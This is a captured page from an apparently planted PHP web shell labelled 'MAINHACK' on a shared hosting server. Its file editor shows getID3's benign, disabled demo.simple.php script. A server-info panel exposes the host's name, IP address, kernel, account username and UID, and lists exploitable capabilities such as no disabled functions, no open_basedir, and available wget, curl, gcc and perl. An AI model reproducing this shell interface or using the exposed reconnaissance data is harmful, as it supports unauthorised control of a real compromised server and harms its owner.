[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: demo.simple.php
<?php ///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich <info@getid3.org> // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // /demo/demo.simple.php - part of getID3() // // Sample script for scanning a single directory and // // displaying a few pieces of information for each file // // see readme.txt for more details // // /// ///////////////////////////////////////////////////////////////// die('For security reasons, this demo has been disabled. It can be enabled by removing line '.__LINE__.' in demos/'.basename(__FILE__)); echo '<html><head>'; echo '<title>getID3() - /demo/demo.simple.php (sample script)</title>'; echo '<style type="text/css">BODY,TD,TH { font-family: sans-serif; font-size: 9pt; }</style>'; echo '</head><body>'; // include getID3() library (can be in a different directory if full path is specified) require_once('../getid3/getid3.php'); // Initialize getID3 engine $getID3 = new getID3; $DirectoryToScan = '/change/to/directory/you/want/to/scan'; // change to whatever directory you want to scan $dir = opendir($DirectoryToScan); echo '<table border="1" cellspacing="0" cellpadding="3">'; echo '<tr><th>Filename</th><th>Artist</th><th>Title</th><th>Bitrate</th><th>Playtime</th></tr>'; while (($file = readdir($dir)) !== false) { $FullFileName = realpath($DirectoryToScan.'/'.$file); if ((substr($file, 0, 1) != '.') && is_file($FullFileName)) { set_time_limit(30); $ThisFileInfo = $getID3->analyze($FullFileName); $getID3->CopyTagsToComments($ThisFileInfo); // output desired information in whatever format you want echo '<tr>'; echo '<td>'.htmlentities($ThisFileInfo['filenamepath']).'</td>'; echo '<td>' .htmlentities(!empty($ThisFileInfo['comments_html']['artist']) ? implode('<br>', $ThisFileInfo['comments_html']['artist']) : chr(160)).'</td>'; echo '<td>' .htmlentities(!empty($ThisFileInfo['comments_html']['title']) ? implode('<br>', $ThisFileInfo['comments_html']['title']) : chr(160)).'</td>'; echo '<td align="right">'.htmlentities(!empty($ThisFileInfo['audio']['bitrate']) ? round($ThisFileInfo['audio']['bitrate'] / 1000).' kbps' : chr(160)).'</td>'; echo '<td align="right">'.htmlentities(!empty($ThisFileInfo['playtime_string']) ? $ThisFileInfo['playtime_string'] : chr(160)).'</td>'; echo '</tr>'; } } echo '</table>'; echo '</body></html>';
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285